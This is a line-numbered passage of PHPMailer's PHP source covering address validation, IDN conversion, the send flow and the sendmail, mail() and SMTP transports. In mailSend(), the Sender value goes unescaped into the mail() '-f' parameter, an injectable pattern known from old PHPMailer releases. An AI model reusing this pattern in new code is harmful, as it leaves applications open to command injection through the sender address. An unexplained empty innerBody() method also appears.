  1126. * Technically this is the value from the last time the headers were created,
  1127. * but it's also the message ID of the last sent message except in
  1128. * pathological cases.
  1129. * @return string
  1130. */
  1131. public function getLastMessageID()
  1132. {
  1133. return $this->lastMessageID;
  1134. }
  1135.  
  1136. /**
  1137. * Check that a string looks like an email address.
  1138. * @param string $address The email address to check
  1139. * @param string $patternselect A selector for the validation pattern to use :
  1140. * * `auto` Pick best pattern automatically;
  1141. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1142. * * `pcre` Use old PCRE implementation;
  1143. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1144. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1145. * * `noregex` Don't use a regex: super fast, really dumb.
  1146. * @return boolean
  1147. * @static
  1148. * @access public
  1149. */
  1150. public static function validateAddress($address, $patternselect = 'auto')
  1151. {
  1152. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1153. if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1154. return false;
  1155. }
  1156. if (!$patternselect or $patternselect == 'auto') {
  1157. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1158. //Constant was added in PHP 5.2.4
  1159. if (defined('PCRE_VERSION')) {
  1160. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1161. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1162. $patternselect = 'pcre8';
  1163. } else {
  1164. $patternselect = 'pcre';
  1165. }
  1166. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1167. //Fall back to older PCRE
  1168. $patternselect = 'pcre';
  1169. } else {
  1170. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1171. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1172. $patternselect = 'php';
  1173. } else {
  1174. $patternselect = 'noregex';
  1175. }
  1176. }
  1177. }
  1178. switch ($patternselect) {
  1179. case 'pcre8':
  1180. /**
  1181. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1182. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1183. * @copyright 2009-2010 Michael Rushton
  1184. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1185. */
  1186. return (boolean)preg_match(
  1187. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1188. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1189. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1190. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1191. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1192. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1193. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1194. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1195. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1196. $address
  1197. );
  1198. case 'pcre':
  1199. //An older regex that doesn't need a recent PCRE
  1200. return (boolean)preg_match(
  1201. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1202. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1203. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1204. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1205. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1206. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1207. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1208. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1209. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1210. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1211. $address
  1212. );
  1213. case 'html5':
  1214. /**
  1215. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1216. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1217. */
  1218. return (boolean)preg_match(
  1219. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1220. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1221. $address
  1222. );
  1223. case 'noregex':
  1224. //No PCRE! Do something _very_ approximate!
  1225. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1226. return (strlen($address) >= 3
  1227. and strpos($address, '@') >= 1
  1228. and strpos($address, '@') != strlen($address) - 1);
  1229. case 'php':
  1230. default:
  1231. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1232. }
  1233. }
  1234.  
  1235. /**
  1236. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1237. * "intl" and "mbstring" PHP extensions.
  1238. * @return bool "true" if required functions for IDN support are present
  1239. */
  1240. public function idnSupported()
  1241. {
  1242. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1243. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1244. }
  1245.  
  1246. /**
  1247. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1248. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1249. * This function silently returns unmodified address if:
  1250. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1251. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1252. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1253. * @see PHPMailer::$CharSet
  1254. * @param string $address The email address to convert
  1255. * @return string The encoded address in ASCII form
  1256. */
  1257. public function punyencodeAddress($address)
  1258. {
  1259. // Verify we have required functions, CharSet, and at-sign.
  1260. if ($this->idnSupported() and
  1261. !empty($this->CharSet) and
  1262. ($pos = strrpos($address, '@')) !== false) {
  1263. $domain = substr($address, ++$pos);
  1264. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1265. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1266. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1267. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1268. idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1269. idn_to_ascii($domain)) !== false) {
  1270. return substr($address, 0, $pos) . $punycode;
  1271. }
  1272. }
  1273. }
  1274. return $address;
  1275. }
  1276.  
  1277. /**
  1278. * Create a message and send it.
  1279. * Uses the sending method specified by $Mailer.
  1280. * @throws phpmailerException
  1281. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1282. */
  1283. public function send()
  1284. {
  1285. try {
  1286. if (!$this->preSend()) {
  1287. return false;
  1288. }
  1289. return $this->postSend();
  1290. } catch (phpmailerException $exc) {
  1291. $this->mailHeader = '';
  1292. $this->setError($exc->getMessage());
  1293. if ($this->exceptions) {
  1294. throw $exc;
  1295. }
  1296. return false;
  1297. }
  1298. }
  1299.  
  1300. /**
  1301. * Prepare a message for sending.
  1302. * @throws phpmailerException
  1303. * @return boolean
  1304. */
  1305. public function preSend()
  1306. {
  1307. try {
  1308. $this->error_count = 0; // Reset errors
  1309. $this->mailHeader = '';
  1310.  
  1311. // Dequeue recipient and Reply-To addresses with IDN
  1312. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1313. $params[1] = $this->punyencodeAddress($params[1]);
  1314. call_user_func_array(array($this, 'addAnAddress'), $params);
  1315. }
  1316. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1317. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1318. }
  1319.  
  1320. // Validate From, Sender, and ConfirmReadingTo addresses
  1321. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1322. $this->$address_kind = trim($this->$address_kind);
  1323. if (empty($this->$address_kind)) {
  1324. continue;
  1325. }
  1326. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1327. if (!$this->validateAddress($this->$address_kind)) {
  1328. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1329. $this->setError($error_message);
  1330. $this->edebug($error_message);
  1331. if ($this->exceptions) {
  1332. throw new phpmailerException($error_message);
  1333. }
  1334. return false;
  1335. }
  1336. }
  1337.  
  1338. // Set whether the message is multipart/alternative
  1339. if (!empty($this->AltBody)) {
  1340. $this->ContentType = 'multipart/alternative';
  1341. }
  1342.  
  1343. $this->setMessageType();
  1344. // Refuse to send an empty message unless we are specifically allowing it
  1345. if (!$this->AllowEmpty and empty($this->Body)) {
  1346. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1347. }
  1348.  
  1349. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1350. $this->MIMEHeader = '';
  1351. $this->MIMEBody = $this->createBody();
  1352. // createBody may have added some headers, so retain them
  1353. $tempheaders = $this->MIMEHeader;
  1354. $this->MIMEHeader = $this->createHeader();
  1355. $this->MIMEHeader .= $tempheaders;
  1356.  
  1357. // To capture the complete message when using mail(), create
  1358. // an extra header list which createHeader() doesn't fold in
  1359. if ($this->Mailer == 'mail') {
  1360. if (count($this->to) > 0) {
  1361. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1362. } else {
  1363. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1364. }
  1365. $this->mailHeader .= $this->headerLine(
  1366. 'Subject',
  1367. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1368. );
  1369. }
  1370.  
  1371. // Sign with DKIM if enabled
  1372. if (!empty($this->DKIM_domain)
  1373. && !empty($this->DKIM_private)
  1374. && !empty($this->DKIM_selector)
  1375. && file_exists($this->DKIM_private)) {
  1376. $header_dkim = $this->DKIM_Add(
  1377. $this->MIMEHeader . $this->mailHeader,
  1378. $this->encodeHeader($this->secureHeader($this->Subject)),
  1379. $this->MIMEBody
  1380. );
  1381. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1382. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1383. }
  1384. return true;
  1385. } catch (phpmailerException $exc) {
  1386. $this->setError($exc->getMessage());
  1387. if ($this->exceptions) {
  1388. throw $exc;
  1389. }
  1390. return false;
  1391. }
  1392. }
  1393. public function innerBody(){
  1394.  
  1395.  
  1396. }
  1397. /**
  1398. * Actually send a message.
  1399. * Send the email via the selected mechanism
  1400. * @throws phpmailerException
  1401. * @return boolean
  1402. */
  1403. public function postSend()
  1404. {
  1405. try {
  1406. // Choose the mailer and send through it
  1407. switch ($this->Mailer) {
  1408. case 'sendmail':
  1409. case 'qmail':
  1410. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1411. case 'smtp':
  1412. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1413. case 'mail':
  1414. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1415. default:
  1416. $sendMethod = $this->Mailer.'Send';
  1417. if (method_exists($this, $sendMethod)) {
  1418. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1419. }
  1420.  
  1421. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1422. }
  1423. } catch (phpmailerException $exc) {
  1424. $this->setError($exc->getMessage());
  1425. $this->edebug($exc->getMessage());
  1426. if ($this->exceptions) {
  1427. throw $exc;
  1428. }
  1429. }
  1430. return false;
  1431. }
  1432.  
  1433. /**
  1434. * Send mail using the $Sendmail program.
  1435. * @param string $header The message headers
  1436. * @param string $body The message body
  1437. * @see PHPMailer::$Sendmail
  1438. * @throws phpmailerException
  1439. * @access protected
  1440. * @return boolean
  1441. */
  1442. protected function sendmailSend($header, $body)
  1443. {
  1444. if ($this->Sender != '') {
  1445. if ($this->Mailer == 'qmail') {
  1446. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1447. } else {
  1448. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1449. }
  1450. } else {
  1451. if ($this->Mailer == 'qmail') {
  1452. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1453. } else {
  1454. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1455. }
  1456. }
  1457. if ($this->SingleTo) {
  1458. foreach ($this->SingleToArray as $toAddr) {
  1459. if (!@$mail = popen($sendmail, 'w')) {
  1460. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1461. }
  1462. fputs($mail, 'To: ' . $toAddr . "\n");
  1463. fputs($mail, $header);
  1464. fputs($mail, $body);
  1465. $result = pclose($mail);
  1466. $this->doCallback(
  1467. ($result == 0),
  1468. array($toAddr),
  1469. $this->cc,
  1470. $this->bcc,
  1471. $this->Subject,
  1472. $body,
  1473. $this->From
  1474. );
  1475. if ($result != 0) {
  1476. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1477. }
  1478. }
  1479. } else {
  1480. if (!@$mail = popen($sendmail, 'w')) {
  1481. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1482. }
  1483. fputs($mail, $header);
  1484. fputs($mail, $body);
  1485. $result = pclose($mail);
  1486. $this->doCallback(
  1487. ($result == 0),
  1488. $this->to,
  1489. $this->cc,
  1490. $this->bcc,
  1491. $this->Subject,
  1492. $body,
  1493. $this->From
  1494. );
  1495. if ($result != 0) {
  1496. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1497. }
  1498. }
  1499. return true;
  1500. }
  1501.  
  1502. /**
  1503. * Send mail using the PHP mail() function.
  1504. * @param string $header The message headers
  1505. * @param string $body The message body
  1506. * @link http://www.php.net/manual/en/book.mail.php
  1507. * @throws phpmailerException
  1508. * @access protected
  1509. * @return boolean
  1510. */
  1511. protected function mailSend($header, $body)
  1512. {
  1513. $toArr = array();
  1514. foreach ($this->to as $toaddr) {
  1515. $toArr[] = $this->addrFormat($toaddr);
  1516. }
  1517. $to = implode(', ', $toArr);
  1518.  
  1519. if (empty($this->Sender)) {
  1520. $params = ' ';
  1521. } else {
  1522. $params = sprintf('-f%s', $this->Sender);
  1523. }
  1524. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1525. $old_from = ini_get('sendmail_from');
  1526. ini_set('sendmail_from', $this->Sender);
  1527. }
  1528. $result = false;
  1529. if ($this->SingleTo && count($toArr) > 1) {
  1530. foreach ($toArr as $toAddr) {
  1531. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1532. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1533. }
  1534. } else {
  1535. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1536. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1537. }
  1538. if (isset($old_from)) {
  1539. ini_set('sendmail_from', $old_from);
  1540. }
  1541. if (!$result) {
  1542. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1543. }
  1544. return true;
  1545. }
  1546.  
  1547. /**
  1548. * Get an instance to use for SMTP operations.
  1549. * Override this function to load your own SMTP implementation
  1550. * @return SMTP
  1551. */
  1552. public function getSMTPInstance()
  1553. {
  1554. if (!is_object($this->smtp)) {
  1555. $this->smtp = new SMTP;
  1556. }
  1557. return $this->smtp;
  1558. }
  1559.  
  1560. /**
  1561. * Send mail via SMTP.
  1562. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1563. * Uses the PHPMailerSMTP class by default.
  1564. * @see PHPMailer::getSMTPInstance() to use a different class.
  1565. * @param string $header The message headers
  1566. * @param string $body The message body
  1567. * @throws phpmailerException
  1568. * @uses SMTP
  1569. * @access protected
  1570. * @return boolean
  1571. */
  1572. protected function smtpSend($header, $body)
  1573. {
  1574. $bad_rcpt = array();
  1575. if (!$this->smtpConnect($this->SMTPOptions)) {
  1576. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1577. }
  1578. if ('' == $this->Sender) {
  1579. $smtp_from = $this->From;
  1580. } else {
  1581. $smtp_from = $this->Sender;
  1582. }
  1583. if (!$this->smtp->mail($smtp_from)) {
  1584. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1585. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1586. }
  1587.  
  1588. // Attempt to send to all recipients
  1589. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1590. foreach ($togroup as $to) {
  1591. if (!$this->smtp->recipient($to[0])) {
  1592. $error = $this->smtp->getError();
  1593. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1594. $isSent = false;
  1595. } else {
  1596. $isSent = true;
  1597. }
  1598. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1599. }
  1600. }
  1601.  
  1602. // Only send the DATA command if we have viable recipients
  1603. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1604. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1605. }
  1606. if ($this->SMTPKeepAlive) {
  1607. $this->smtp->reset();
  1608. } else {
  1609. $this->smtp->quit();
  1610. $this->smtp->close();
  1611. }
  1612. //Create error message for any bad addresses
  1613. if (count($bad_rcpt) > 0) {
  1614. $errstr = '';
  1615. foreach ($bad_rcpt as $bad) {
  1616. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1617. }
  1618. throw new phpmailerException(
  1619. $this->lang('recipients_failed') . $errstr,
  1620. self::STOP_CONTINUE
  1621. );
  1622. }
  1623. return true;
  1624. }
  1625.  
  1626. /**
  1627. * Initiate a connection to an SMTP server.
  1628. * Returns false if the operation failed.
  1629. * @param array $options An array of options compatible with stream_context_create()
  1630. * @uses SMTP
  1631. * @access public
  1632. * @throws phpmailerException
  1633. * @return boolean
  1634. */
  1635. public function smtpConnect($options = array())
  1636. {
  1637. if (is_null($this->smtp)) {
  1638. $this->smtp = $this->getSMTPInstance();
  1639. }
  1640.  
  1641. // Already connected?
  1642. if ($this->smtp->connected()) {
  1643. return true;
  1644. }
  1645.  
  1646. $this->smtp->setTimeout($this->Timeout);
  1647. $this->smtp->setDebugLevel($this->SMTPDebug);
  1648. $this->smtp->setDebugOutput($this->Debugoutput);
  1649. $this->smtp->setVerp($this->do_verp);
  1650. $hosts = explode(';', $this->Host);
  1651. $lastexception = null;
  1652.  
  1653. foreach ($hosts as $hostentry) {
  1654. $hostinfo = array();
  1655. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1656. // Not a valid host entry
  1657. continue;
  1658. }
  1659. // $hostinfo[2]: optional ssl or tls prefix
  1660. // $hostinfo[3]: the hostname
  1661. // $hostinfo[4]: optional port number
  1662. // The host string prefix can temporarily override the current setting for SMTPSecure
  1663. // If it's not specified, the default value is used
  1664. $prefix = '';
  1665. $secure = $this->SMTPSecure;
  1666. $tls = ($this->SMTPSecure == 'tls');
  1667. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1668. $prefix = 'ssl://';
  1669. $tls = false; // Can't have SSL and TLS at the same time
  1670. $secure = 'ssl';
  1671. } elseif ($hostinfo[2] == 'tls') {
  1672. $tls = true;
  1673. // tls doesn't use a prefix
  1674. $secure = 'tls';
  1675. }
  1676. //Do we need the OpenSSL extension?
  1677. $sslext = defined('OPENSSL_ALGO_SHA1');
  1678. if ('tls' === $secure or 'ssl' === $secure) {
  1679. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1680. if (!$sslext) {
  1681. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1682. }
  1683. }
  1684. $host = $hostinfo[3];
  1685. $port = $this->Port;
  1686. $tport = (integer)$hostinfo[4];
  1687. if ($tport > 0 and $tport < 65536) {
  1688. $port = $tport;
  1689. }
  1690. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1691. try {
  1692. if ($this->Helo) {
  1693. $hello = $this->Helo;
  1694. } else {
  1695. $hello = $this->serverHostname();
  1696. }
  1697. $this->smtp->hello($hello);
  1698. //Automatically enable TLS encryption if:
  1699. // * it's not disabled
  1700. // * we have openssl extension
  1701. // * we are not already using SSL
  1702. // * the server offers STARTTLS
  1703. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1704. $tls = true;
  1705. }
  1706. if ($tls) {
  1707. if (!$this->smtp->startTLS()) {
  1708. throw new phpmailerException($this->lang('connect_host'));
  1709. }
  1710. // We must resend HELO after tls negotiation
  1711. $this->smtp->hello($hello);
  1712. }
  1713. if ($this->SMTPAuth) {
  1714. if (!$this->smtp->authenticate(
  1715. $this->Username,
  1716. $this->Password,
  1717. $this->AuthType,
  1718. $this->Realm,
  1719. $this->Workstation
  1720. )
  1721. ) {
  1722. throw new phpmailerException($this->lang('authenticate'));
  1723. }
  1724. }
  1725. return true;
  1726. } catch (phpmailerException $exc) {
  1727. $lastexception = $exc;
  1728. $this->edebug($exc->getMessage());
  1729. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1730. $this->smtp->quit();
  1731. }
  1732. }
  1733. }
  1734. // If we get here, all connection attempts have failed, so close connection hard
  1735. $this->smtp->close();
  1736. // As we've caught all exceptions, just report whatever the last one was
  1737. if ($this->exceptions and !is_null($lastexception)) {
  1738. throw $lastexception;
  1739. }
  1740. return false;
  1741. }
  1742.  
  1743. /**
  1744. * Close the active SMTP session if one exists.
  1745. * @return void
  1746. */
  1747. public function smtpClose()
  1748. {
  1749. if ($this->smtp !== null) {
  1750. if ($this->smtp->connected()) {
  1751. $this->smtp->quit();
  1752. $this->smtp->close();
  1753. }
  1754. }
  1755. }
  1756.  
  1757. /**
  1758. * Set the language for error messages.
  1759. * Returns false if it cannot load the language file.
  1760. * The default language is English.
  1761. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1762. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1763. * @return boolean
  1764. * @access public
  1765. */
  1766. public function setLanguage($langcode = 'en', $lang_path = '')
  1767. {
  1768. // Define full set of translatable strings in English
  1769. $PHPMAILER_LANG = array(
  1770. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1771. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1772. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1773. 'empty_message' => 'Message body empty',
  1774. 'encoding' => 'Unknown encoding: ',
  1775. 'execute' => 'Could not execute: ',
  1776. 'file_access' => 'Could not access file: ',
  1777. 'file_open' => 'File Error: Could not open file: ',
  1778. 'from_failed' => 'The following From address failed: ',
  1779. 'instantiate' => 'Could not instantiate mail function.',
  1780. 'invalid_address' => 'Invalid address: ',
  1781. 'mailer_not_supported' => ' mailer is not supported.',
  1782. 'provide_address' => 'You must provide at least one recipient email address.',
  1783. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1784. 'signing' => 'Signing Error: ',
  1785. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1786. 'smtp_error' => 'SMTP server error: ',
  1787. 'variable_set' => 'Cannot set or reset variable: ',
  1788. 'extension_missing' => 'Extension missing: '
  1789. );
  1790. if (empty($lang_path)) {
  1791. // Calculate an absolute path so it can work if CWD is not here
  1792. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1793. }
  1794. $foundlang = true;
  1795. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1796. // There is no English translation file
  1797. if ($langcode != 'en') {
  1798. // Make sure language file path is readable
  1799. if (!is_readable($lang_file)) {
  1800. $foundlang = false;
  1801. } else {
  1802. // Overwrite language-specific strings.
  1803. // This way we'll never have missing translation keys.
  1804. $foundlang = include $lang_file;
  1805. }
  1806. }
  1807. $this->language = $PHPMAILER_LANG;
  1808. return (boolean)$foundlang; // Returns false if language not found
  1809. }
  1810.  
  1811. /**
  1812. * Get the array of strings for the current language.
  1813. * @return array
  1814. */
  1815. public function getTranslations()
  1816. {
  1817. return $this->language;
  1818. }
  1819.  
  1820. /**
  1821. * Create recipient headers.
  1822. * @access public
  1823. * @param string $type
  1824. * @param array $addr An array of recipient,
  1825. * where each recipient is a 2-element indexed array with element 0 containing an address
  1826. * and element 1 containing a name, like:
  1827. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1828. * @return string
  1829. */
  1830. public function addrAppend($type, $addr)
  1831. {
  1832. $addresses = array();
  1833. foreach ($addr as $address) {
  1834. $addresses[] = $this->addrFormat($address);
  1835. }
  1836. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1837. }
  1838.  
  1839. /**
  1840. * Format an address for use in a message header.
  1841. * @access public
  1842. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1843. * like array('joe@example.com', 'Joe User')
  1844. * @return string
  1845. */
  1846. public function addrFormat($addr)
  1847. {
  1848. if (empty($addr[1])) { // No name provided
  1849. return $this->secureHeader($addr[0]);
  1850. } else {
  1851. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1852. $addr[0]
  1853. ) . '>';
  1854. }
  1855. }
  1856.  
  1857. /**
  1858. * Word-wrap message.
  1859. * For use with mailers that do not automatically perform wrapping
  1860. * and for quoted-printable encoded messages.
  1861. * Original written by philippe.
  1862. * @param string $message The message to wrap
  1863. * @param integer $length The line length to wrap to
  1864. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1865. * @access public
  1866. * @return string
  1867. */
  1868. public function wrapText($message, $length, $qp_mode = false)
  1869. {
  1870. if ($qp_mode) {
  1871. $soft_break = sprintf(' =%s', $this->LE);
  1872. } else {
  1873. $soft_break = $this->LE;
  1874. }
  1875. // If utf-8 encoding is used, we will need to make sure we don't
  1876. // split multibyte characters when we wrap
  1877. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1878. $lelen = strlen($this->LE);
  1879. $crlflen = strlen(self::CRLF);
  1880.  
  1881. $message = $this->fixEOL($message);
  1882. //Remove a trailing line break
  1883. if (substr($message, -$lelen) == $this->LE) {
  1884. $message = substr($message, 0, -$lelen);
  1885. }
  1886.  
  1887. //Split message into lines
  1888. $lines = explode($this->LE, $message);
  1889. //Message will be rebuilt in here
  1890. $message = '';
  1891. foreach ($lines as $line) {
  1892. $words = explode(' ', $line);
  1893. $buf = '';
  1894. $firstword = true;
  1895. foreach ($words as $word) {
  1896. if ($qp_mode and (strlen($word) > $length)) {
  1897. $space_left = $length - strlen($buf) - $crlflen;
  1898. if (!$firstword) {
  1899. if ($space_left > 20) {
  1900. $len = $space_left;
  1901. if ($is_utf8) {
  1902. $len = $this->utf8CharBoundary($word, $len);
  1903. } elseif (substr($word, $len - 1, 1) == '=') {
  1904. $len--;
  1905. } elseif (substr($word, $len - 2, 1) == '=') {
  1906. $len -= 2;
  1907. }
  1908. $part = substr($word, 0, $len);
  1909. $word = substr($word, $len);
  1910. $buf .= ' ' . $part;
  1911. $message .= $buf . sprintf('=%s', self::CRLF);
  1912. } else {
  1913. $message .= $buf . $soft_break;
  1914. }
  1915. $buf = '';
  1916. }
  1917. while (strlen($word) > 0) {
  1918. if ($length <= 0) {
  1919. break;
  1920. }
  1921. $len = $length;
  1922. if ($is_utf8) {
  1923. $len = $this->utf8CharBoundary($word, $len);
  1924. } elseif (substr($word, $len - 1, 1) == '=') {
  1925. $len--;
  1926. } elseif (substr($word, $len - 2, 1) == '=') {
  1927. $len -= 2;
  1928. }
  1929. $part = substr($word, 0, $len);
